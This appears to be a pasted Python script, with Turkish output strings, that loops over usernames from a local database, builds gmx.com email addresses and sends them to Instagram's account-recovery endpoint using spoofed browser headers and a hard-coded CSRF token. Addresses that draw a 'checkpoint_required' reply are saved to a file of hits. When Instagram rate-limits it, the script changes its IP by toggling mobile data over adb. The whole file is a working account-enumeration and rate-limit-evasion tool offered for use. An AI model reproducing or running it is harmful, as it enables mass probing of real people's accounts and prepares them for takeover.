Untitled
unknown
plain_text
2 years ago
11 kB
17
Indexable
import requests import string import random import json import time from random import choice import os import subprocess toplamdeneme=0 sira=0 from subprocess import Popen, PIPE import mysql.connector print("Batuhan Doğan (DGNBATUHAN) Tarafından Hazırlanmıştır.") mydb = mysql.connector.connect( host="localhost", user="root", password="", database="instabot" ) mycursor = mydb.cursor() def veritabanı(): try: global kullaniciadi,id mycursor.execute("SELECT * FROM liste1 limit 1") myresult = mycursor.fetchone() id =myresult[0] kullaniciadi=myresult[1] except: pass def sil(): try: mycursor.execute("DELETE FROM liste1 WHERE id ="+str(id)) myresult = mycursor.fetchone() except: pass ## Ayarlar ## sayitarama=True harftarama=False def ipiptal(): try: # process = Popen([ 'arkarkaya.exe'], stdout=PIPE, stderr=PIPE) #stdout, stderr = process.communicate() #print(stdout) #r = requests.get(ipsifirlamalinki) #print("İp İptal edildi") time.sleep(6) except: time.sleep(15) print("! İp Değiştirilemedi.") def ipdegistir(): subprocess.call("adb shell svc data disable",shell=True) time.sleep(2) subprocess.call("adb shell svc data enable",shell=True) time.sleep(3) toplamhata=0 def ipdegistirx(): try: process = Popen([ 'amacro.exe'], stdout=PIPE, stderr=PIPE) stdout, stderr = process.communicate() print(stdout) #r = requests.get(ipsifirlamalinki) print("İp Sıfırlandı") time.sleep(12) except: time.sleep(15) print("! İp Değiştirilemedi.") arkaarkayahata=0 for x in range (999999): try: veritabanı() kullaniciadi=kullaniciadi.replace('\n', '').replace(' ', '').replace('@', '').replace('gmx.com','').replace('-','').replace("'",'').replace('.','').replace('','') sira=sira+1 if(sayitarama==True): for a in range (1): if(a==0): amail=kullaniciadi+"@gmx.com" elif(a==10): amail=kullaniciadi+"0@gmx.com" else: amail=kullaniciadi+str(a)+"@gmx.com" headers = { 'authority': 'www.instagram.com', 'accept': '*/*', 'accept-language': 'tr-TR,tr;q=0.9', 'content-type': 'application/x-www-form-urlencoded', # 'cookie': 'ig_did=97A2C461-2B56-4338-90E1-28EAB4F33154; ig_nrcb=1; csrftoken=ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf; mid=ZF8BrQALAAFpWsDJufBfucgubBZ9; datr=qgFfZMKUtcSzRO48-dtHMb0K', 'dnt': '1', 'origin': 'https://www.instagram.com', 'referer': 'https://www.instagram.com/accounts/password/reset/', 'sec-ch-prefers-color-scheme': 'dark', 'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"', 'sec-ch-ua-full-version-list': '"Google Chrome";v="113.0.5672.93", "Chromium";v="113.0.5672.93", "Not-A.Brand";v="24.0.0.0"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-ch-ua-platform-version': '"14.0.0"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 'viewport-width': '1920', 'x-asbd-id': '198387', 'x-csrftoken': 'ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf', 'x-ig-app-id': '936619743392459', 'x-ig-www-claim': '0', 'x-instagram-ajax': '1007489956', 'x-requested-with': 'XMLHttpRequest', } data = { 'email_or_username': amail, 'recaptcha_challenge_field': '', } response = requests.post( 'https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/', headers=headers, timeout=3, data=data, ) responsedict = json.loads(response.content) cevap=responsedict['message'] toplamdeneme=toplamdeneme+1 print(amail+ str(", Deneme : "+str(toplamdeneme))) print(cevap) if (cevap=="checkpoint_required"): arkaarkayahata=0 ths = open("bulunanlar.txt", "a") ths.write(str(amail) +"\n") ths.close() sil() toplamhata=0 if (cevap=="Tekrar denemeden önce lütfen birkaç dakika bekle."): toplamhata=toplamhata+1 ipdegistir() pass else: sil() toplamhata=0 if(harftarama==True): for a in range (23): harfler="qwertyuasdfghjzxcvbnm" amail=kullaniciadi+str(harfler[a:a+1])+"@gmx.com" if(a==22): amail=kullaniciadi+"@gmx.com" headers = { 'authority': 'www.instagram.com', 'accept': '*/*', 'accept-language': 'tr-TR,tr;q=0.9', 'content-type': 'application/x-www-form-urlencoded', # 'cookie': 'ig_did=97A2C461-2B56-4338-90E1-28EAB4F33154; ig_nrcb=1; csrftoken=ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf; mid=ZF8BrQALAAFpWsDJufBfucgubBZ9; datr=qgFfZMKUtcSzRO48-dtHMb0K', 'dnt': '1', 'origin': 'https://www.instagram.com', 'referer': 'https://www.instagram.com/accounts/password/reset/', 'sec-ch-prefers-color-scheme': 'dark', 'sec-ch-ua': '"Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"', 'sec-ch-ua-full-version-list': '"Google Chrome";v="113.0.5672.93", "Chromium";v="113.0.5672.93", "Not-A.Brand";v="24.0.0.0"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-ch-ua-platform-version': '"14.0.0"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36', 'viewport-width': '1920', 'x-asbd-id': '198387', 'x-csrftoken': 'ah8U6FvjtD3xumygHg2NxnIQMSQA39Kf', 'x-ig-app-id': '936619743392459', 'x-ig-www-claim': '0', 'x-instagram-ajax': '1007489956', 'x-requested-with': 'XMLHttpRequest', } data = { 'email_or_username': amail, 'recaptcha_challenge_field': '', } response = requests.post( 'https://www.instagram.com/api/v1/web/accounts/account_recovery_send_ajax/', headers=headers, data=data, timeout=3, ) responsedict = json.loads(response.content) cevap=responsedict['message'] toplamdeneme=toplamdeneme+1 print(amail+ str(", Deneme : "+str(toplamdeneme))) print(cevap) if (cevap=="checkpoint_required"): ths = open("bulunanlar.txt", "a") ths.write(str(amail) +"\n") ths.close() sil() if (cevap=="Tekrar denemeden önce lütfen birkaç dakika bekle."): time.sleep(5) else: sil() except Exception as e: toplamhata=toplamhata+1 print("Hata") finally: if(toplamhata>9): sil() ths = open("Atlanankelimeler1.txt", "a") ths.write(str(amail) +"\n") ths.close() toplamhata=0 if(toplamhata==8): time.sleep(10) print("İşlemler bitti")
Editor is loading...